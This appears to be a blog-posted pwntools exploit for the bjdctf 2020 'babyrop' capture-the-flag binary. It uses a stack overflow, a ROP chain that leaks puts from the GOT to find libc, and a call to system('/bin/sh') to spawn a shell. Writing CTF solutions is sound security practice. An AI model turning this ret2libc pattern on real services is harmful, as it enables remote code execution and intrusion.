from pwn import *
p = process('./bjdctf_2020_babyrop')
libcelf = ELF('./libc-2.23.so')
pop_rdi_ret = 0x0000000000400733
pop_rsi_r15_ret = 0x0000000000400731
pltputs = 0x00000000004004E0
main = 0x00000000004006AD
gotputs = 0x0000000000601018
payload = 'a' * 40 + p64(pop_rdi_ret) + p64(gotputs) + p64(pltputs) + p64(pop_rdi_ret) + p64(0) + p64(main)
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(payload)
realputs = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
log.success(hex(realputs))
libcbase = realputs - libcelf.symbols['puts']
log.success(hex(libcbase))
system = libcbase + libcelf.symbols['system']
binsh = libcbase + libcelf.search('/bin/sh').next()
p.recvuntil("Pull up your sword and tell me u story!\n")
payload = 'a' * 40 + p64(pop_rdi_ret) +p64(binsh) + p64(system)
p.sendline(payload)
p.interactive()
bjdctf2020 babyrop
最新推荐文章于 2022-10-27 10:12:51 发布